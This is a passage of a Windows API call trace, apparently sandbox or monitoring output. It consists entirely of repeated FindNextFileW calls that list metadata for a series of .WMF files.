ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0128.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10360091, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10360091, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: 